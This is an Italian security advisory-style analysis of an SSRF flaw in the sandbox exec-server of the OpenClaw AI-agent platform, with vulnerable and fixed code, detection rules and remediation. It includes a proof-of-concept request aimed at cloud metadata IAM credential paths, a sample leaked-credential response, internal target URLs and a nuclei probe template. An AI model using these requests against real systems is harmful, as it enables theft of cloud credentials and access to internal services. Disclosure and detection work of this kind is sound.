
Analisi approfondita di CVE-2026-62201: bypass della policy di rete exec-server sandbox di OpenClaw (SSRF). Causa principale, codice vulnerabile vs corretto, sfruttamento, rilevamento, rimedio.
| Campo | Valore |
|---|
| Advisory | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Prodotto | OpenClaw (pacchetto npm openclaw) — componente sandbox exec-server |
| Versioni vulnerabili | openclaw < 2026.6.6 |
| Versione corretta | 2026.6.6 e successive |
| Causa principale | Mancanza di validazione SSRF nell'helper HTTP integrato dell'exec-server (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Commit di correzione | 21410d1c — "fix(codex): guard sandbox http requests" |
| Vettore d'attacco | HTTP POST all'handler http/request dell'exec-server con un URL controllato dall'attaccante |
| Impatto | Un chiamante con privilegi bassi raggiunge destinazioni di rete interne (metadata cloud, IP privati, servizi su localhost) che la policy di rete di OpenClaw dovrebbe bloccare |
OpenClaw è una piattaforma per agenti AI il cui sandbox exec-server espone un helper per richieste HTTP che gli agenti usano per effettuare chiamate web in uscita. Le versioni precedenti alla 2026.6.6 includevano questo helper senza alcuna protezione SSRF: un chiamante con livello di fiducia inferiore — qualsiasi agente, strumento o percorso di input che la piattaforma considera meno affidabile di un operatore gateway — poteva inviare un URL arbitrario e far sì che l'exec-server lo recuperasse dall'interno della rete host.
I controlli delle policy di rete applicati all'egresso diretto del sandbox non venivano applicati quando le richieste transitavano attraverso l'interfaccia HTTP dell'exec-server. Questa incoerenza è la vulnerabilità: l'exec-server agiva come un proxy HTTP senza restrizioni verso la rete interna.
Quando OpenClaw esegue un agente Codex in un sandbox, avvia un exec-server locale (extensions/codex/src/app-server/sandbox-exec-server.ts) che ospita metodi JSON-RPC su un trasporto WebSocket/HTTP. Uno di questi metodi, http/request, consente all'agente di recuperare URL. L'implementazione instrada la richiesta attraverso un piccolo script Python incorporato — SANDBOX_HTTP_REQUEST_SCRIPT — che esegue il vero lavoro urllib.
L'handler della richiesta si trova in extensions/codex/src/app-server/sandbox-exec-server/http.ts.
L'helper Python riceveva l'URL e controllava solo lo schema:
# Da [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abbreviato)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request supporta solo URL http e https")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
Questo era l'unico controllo. Non c'erano:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ veniva seguito ciecamenteRisultato: {"method":"GET","url":"http://<host-interno>/"} restituiva il corpo della risposta interna al chiamante. L'exec-server era un proxy aperto verso la rete host.
Il commit 21410d1c ha aggiunto difesa in profondità su entrambi i livelli:
Livello 1 — Pre-controllo TypeScript (assertSandboxHttpRequestTargetAllowed in http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Livello 2 — Rafforzamento dell'helper Python (assert_url_allowed nello script incorporato):
localhost, localhost.localdomain, metadata.google.internal, più suffissi *.localhost, *.local, *.internal169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, benchmarking 198.18.0.0/15, documentazione 2001:db8::/32 e altreipaddress: loopback, privato, link-local, multicast, riservato, non specificatoGuardedRedirectHandler: ogni hop di redirect esegue nuovamente assert_url_allowed prima di essere seguito::ffff:a.b.c.d), 6to4 (2002::/16), Teredo e ISATAP vengono decompresse e il loro IPv4 incorporato viene controllatodef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Hostname bloccato o indirizzo IP privato/interno/uso speciale")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Bloccato: risolve in un indirizzo IP privato/interno/uso speciale")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 con l'exec-server del sandbox abilitatohttp/request (la piattaforma considera questo accesso come a bassi privilegi — ad es. un plugin, uno strumento o un percorso di input, non un operatore gateway)Passo 1 — Inviare una richiesta mirata a un servizio interno:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Passo 2 — Risposta vulnerabile (HTTP 200):
L'exec-server recuperava l'URL interno e restituiva il corpo al chiamante — codificato in base64 come bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Decodificato:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Passo 3 — Risposta corretta (HTTP 502):
{
"error": "ValueError: Bloccato: risolve in un indirizzo IP privato/interno/uso speciale"
}
La destinazione interna non è raggiungibile attraverso l'exec-server nelle versioni corrette.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → credenziali IAMhttp://127.0.0.1:<porta>/ per colpire interfacce di gestione non autenticate co-localizzateCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 Alta
L'inquadramento dell'advisory è importante: il modello di operatori fidati di OpenClaw presuppone che gli operatori gateway siano affidabili. Il bug è che una superficie a fiducia inferiore (plugin, strumenti, percorsi di input) poteva raggiungere destinazioni che la policy avrebbe dovuto bloccare.
È disponibile un template di rilevamento — basato su OAST, che non richiede conoscenza preliminare della topologia interna:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
Inviato upstream: projectdiscovery/nuclei-templates#17183
/exec/http (o equivalente JSON-RPC WebSocket) il cui corpo JSON contiene un campo url che punta a destinazioni private/interne169.254.169.254, 100.100.100.200)npm install [email protected] (o successiva). La correzione aggiunge una validazione SSRF completa sia al confine TS che all'interno dell'helper Python.2026.6.6Questa ricerca è stata condotta su dati di vulnerabilità divulgati pubblicamente e su software distribuito in un laboratorio isolato. Non sono coinvolti sistemi di produzione reali, reti di terze parti o ricerca su zero-day. Tutti i PoC utilizzati qui sono richieste innocue di sola lettura.